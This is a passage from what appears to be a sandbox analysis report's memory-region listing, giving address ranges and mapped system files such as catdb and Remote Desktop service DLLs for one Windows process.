end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2059 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2060 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2061 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2062 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2063 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2064 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2065 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2066 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2067 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2068 start_va = 0xc50000 end_va = 0xc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2069 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2070 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2071 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2072 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2073 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2074 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2075 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2076 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2077 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2078 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2079 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2080 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2081 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2082 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2083 start_va = 0xc50000 end_va = 0xc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2084 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2085 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2086 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2087 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2088 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2089 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2090 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2091 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2092 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2093 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2094 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2095 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2096 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2097 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2098 start_va = 0xc50000 end_va = 0xc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2099 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2100 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2101 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2102 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2103 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2104 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2105 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2106 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2107 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2108 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2123 start_va = 0x27d0000 end_va = 0x2bc4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 2124 start_va = 0x2bd0000 end_va = 0x2fccfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 2131 start_va = 0x1070000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2132 start_va = 0x10a0000 end_va = 0x10bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 2133 start_va = 0x10c0000 end_va = 0x10dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 2135 start_va = 0x10e0000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 2136 start_va = 0x1100000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 2137 start_va = 0x1120000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 2138 start_va = 0x11c0000 end_va = 0x11dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011c0000" filename = "" Region: id = 2139 start_va = 0x11e0000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 2140 start_va = 0x1200000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 2145 start_va = 0x1220000 end_va = 0x123ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 2146 start_va = 0x13d0000 end_va = 0x13effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 2147 start_va = 0x13f0000 end_va = 0x140ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 2148 start_va = 0x1410000 end_va = 0x142ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001410000" filename = "" Region: id = 2149 start_va = 0x1430000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 2150 start_va = 0x1450000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 2155 start_va = 0x1470000 end_va = 0x148ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 2156 start_va = 0x1510000 end_va = 0x152ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 2157 start_va = 0x1530000 end_va = 0x154ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 2158 start_va = 0x1550000 end_va = 0x156ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001550000" filename = "" Region: id = 2159 start_va = 0x1570000 end_va = 0x158ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001570000" filename = "" Region: id = 2160 start_va = 0x1590000 end_va = 0x15affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 2161 start_va = 0x1660000 end_va = 0x167ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001660000" filename = "" Region: id = 2162 start_va = 0x1680000 end_va = 0x169ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 2163 start_va = 0x17a0000 end_va = 0x17bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 2164 start_va = 0x18e0000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018e0000" filename = "" Region: id = 2165 start_va = 0x1900000 end_va = 0x191ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 2166 start_va = 0x1920000 end_va = 0x193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001920000" filename = "" Region: id = 2167 start_va = 0x19d0000 end_va = 0x19effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019d0000" filename = "" Region: id = 2168 start_va = 0x19f0000 end_va = 0x1a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 2169 start_va = 0x1a10000 end_va = 0x1a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a10000" filename = "" Region: id = 2170 start_va = 0x1b30000 end_va = 0x1b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 2171 start_va = 0x1b50000 end_va = 0x1b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b50000" filename = "" Region: id = 2172 start_va = 0x1cf0000 end_va = 0x1d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 2173 start_va = 0x1d10000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 2174 start_va = 0x1d30000 end_va = 0x1d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 2175 start_va = 0x1d50000 end_va = 0x1d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 2176 start_va = 0x1e00000 end_va = 0x1e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 2177 start_va = 0x1ea0000 end_va = 0x1ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 2178 start_va = 0x1ec0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 2179 start_va = 0x2380000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 2180 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 2183 start_va = 0x23c0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 2184 start_va = 0x23e0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 2185 start_va = 0x2400000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 2186 start_va = 0x2420000 end_va = 0x243ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 2187 start_va = 0x2440000 end_va = 0x245ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 2304 start_va = 0xc20000 end_va = 0xc20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 2629 start_va = 0x2870000 end_va = 0x28effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 2630 start_va = 0x7fef3040000 end_va = 0x7fef30e9fff monitored = 0 entry_point = 0x7fef304eb18 region_type = mapped_file name = "termsrv.dll" filename = "\\Windows\\System32\\termsrv.dll" (normalized: "c:\\windows\\system32\\termsrv.dll") Region: id = 2631 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2636 start_va = 0x7fef64a0000 end_va = 0x7fef64a9fff monitored = 0 entry_point = 0x7fef64a1020 region_type = mapped_file name = "icaapi.dll" filename = "\\Windows\\System32\\icaapi.dll" (normalized: "c:\\windows\\system32\\icaapi.dll") Region: id = 2674 start_va = 0x27d0000 end_va = 0x284ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 2675 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2676 start_va = 0x7fef6480000 end_va = 0x7fef6490fff monitored = 0 entry_point = 0x7fef6481200 region_type = mapped_file name = "lsmproxy.dll" filename = "\\Windows\\System32\\lsmproxy.dll" (normalized: "c:\\windows\\system32\\lsmproxy.dll") Region: id = 2775 start_va = 0x2640000 end_va = 0x26bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 2776 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2778 start_va = 0x2910000 end_va = 0x298ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 2779 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2780 start_va = 0x7fefa810000 end_va = 0x7fefa81afff monitored = 0 entry_point = 0x7fefa814f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 2781 start_va = 0x7fef6460000 end_va = 0x7fef647afff monitored = 0 entry_point = 0x7fef646102c region_type = mapped_file name = "regapi.dll" filename = "\\Windows\\System32\\regapi.dll" (normalized: "c:\\windows\\system32\\regapi.dll") Region: id = 2817 start_va = 0x190000 end_va = 0x199fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "termsrv.dll.mui" filename = "\\Windows\\System32\\en-US\\termsrv.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\termsrv.dll.mui") Region: id = 2818 start_va = 0x7fef4f70000 end_va = 0x7fef4f99fff monitored = 0 entry_point = 0x7fef4f894f4 region_type = mapped_file name = "rdpcorekmts.dll" filename = "\\Windows\\System32\\rdpcorekmts.dll" (normalized: "c:\\windows\\system32\\rdpcorekmts.dll") Region: id = 2819 start_va = 0x7fef4220000 end_va = 0x7fef4236fff monitored = 0 entry_point = 0x7fef42256e8 region_type = mapped_file name = "rdpwsx.dll" filename = "\\Windows\\System32\\rdpwsx.dll" (normalized: "c:\\windows\\system32\\rdpwsx.dll") Region: id = 2821 start_va = 0x7fef4180000 end_va = 0x7fef4195fff monitored = 0 entry_point = 0x7fef418ad70 region_type = mapped_file name = "tlscsp.dll" filename = "\\Windows\\System32\\tlscsp.dll" (normalized: "c:\\windows\\system32\\tlscsp.dll") Region: id = 2822 start_va = 0x2990000 end_va = 0x2b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 2823 start_va = 0x29a0000 end_va = 0x2a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 2824 start_va = 0x2ac0000 end_va = 0x2b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 2825 start_va = 0x2b40000 end_va = 0x2b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 2826 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 